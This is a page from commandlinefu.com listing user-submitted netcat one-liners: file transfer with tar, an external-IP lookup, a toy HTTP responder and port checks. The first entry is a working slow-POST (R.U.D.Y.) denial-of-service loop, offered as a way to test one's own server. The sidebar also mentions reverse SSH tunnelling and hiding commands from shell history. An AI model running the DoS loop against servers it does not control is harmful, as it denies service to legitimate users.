Commands tagged netcat (31)

  • Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!


    -1
    for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done
    elceef · 2015-04-15 14:02:55 9
  • This is useful for sending data between 2 computers that you have shell access to. Uses tar compression during transfer. Files are compressed & uncompressed automatically. Note the trailing dash on the listening side that makes netcat listen to stdin for data. on the listening side: sudo nc -lp 2022 | sudo tar -xvf - explanation: open netcat to -l listen on -p port 2022, take the data stream and pipe to tar -x extract, -v verbose, -f using file filename - means "stdin" on the sending side: tar -cvzf - ./*| nc -w 3 name_of_listening_host 2022 explanation: compress all files in current dir using tar -c create, -v verbose, -f using file, - filename - here means "stdout" because we're tar -c instead of tar -x, -w3 wait 3 seconds on stream termination and then end the connection to the listening host name_of_listening_host, on port 2022


    -2
    on the listening side: sudo nc -lp 2022 | sudo tar -xvf - and on the sending side: tar -cvzf - ./*| nc -w 3 name_of_listening_host 2022
    smcpherson · 2009-03-27 09:59:33 12
  • Here's a version that uses netcat (although I'd much rather use curl!).


    -2
    echo -e "GET /ip HTTP/1.0\nUser-Agent: netcat\nHOST: ifconfig.me\n\n" | nc ifconfig.me 80 | sed -n '/^[0-9]/p'
    putnamhill · 2010-06-16 19:08:05 3
  • -k, --keep-open will keep connection alive, and we could exclude using 'while true' nc is such a powerful command, it could be used instead of any OS! :p Show Sample Output


    -2
    nc -kl 5432 -c 'echo -e "HTTP/1.1 200 OK\r\n$(date)\r\n\r\n";echo "<p>How are you today?</p>"'
    gvitalie · 2013-11-12 14:00:11 7

  • -3
    nc <ip> <port> -v
    andreisid · 2011-03-11 16:37:09 3

  • -3
    fuser -n tcp -s <port> && echo "+open"
    cicatriz · 2011-03-11 19:06:10 3
  •  < 1 2

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands


Check These Out

Create a mirror of a local folder, on a remote server
Create a exact mirror of the local folder "/root/files", on remote server 'remote_server' using SSH command (listening on port 22) (all files & folders on destination server/folder will be deleted)

Download all PDFs from an authenificated website
Replace *** with the appropiate values

Alias for lazy tmux create/reattach
If a tmux session is already running attach it, otherwise create a new one. Useful if you often forget about running tmuxes (or just don't care)

Install a LAMP server in a Debian based distribution
The execution of this command will install a LAMP server (Linux, Apache, MySQL and PHP) in a Debian based distribution. For example, in Ubuntu.

find text in a file
this will find text in the directory you specify and give you line where it appears.

locating packages held back, such as with "aptitude hold "
locating packages held back, such as with "aptitude hold "

Readd all files is missing from svn repo
When working on a big proeject with SVN, you create quite much files, for now! Can just sit here and type svn add for all of them! svn status will return a list of all of file which get ?(not add), "M"(Modified), "D"(Deleted)! This code just grep "?" flag, then add it into SVN again!

back ssh from firewalled hosts
host B (you) redirects a modem port (62220) to his local ssh. host A is a remote machine (the ones that issues the ssh cmd). once connected port 5497 is in listening mode on host B. host B just do a ssh 127.0.0.1 -p 5497 -l user and reaches the remote host'ssh. This can be used also for vnc and so on.

Get your external IP address ( 10 characters long )
Shortest url to a external IP-service, 10 characters.

execute your commands and avoid history records
$ secret_command;export HISTCONTROL= This will make "secret_command" not appear in "history" list.


Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for: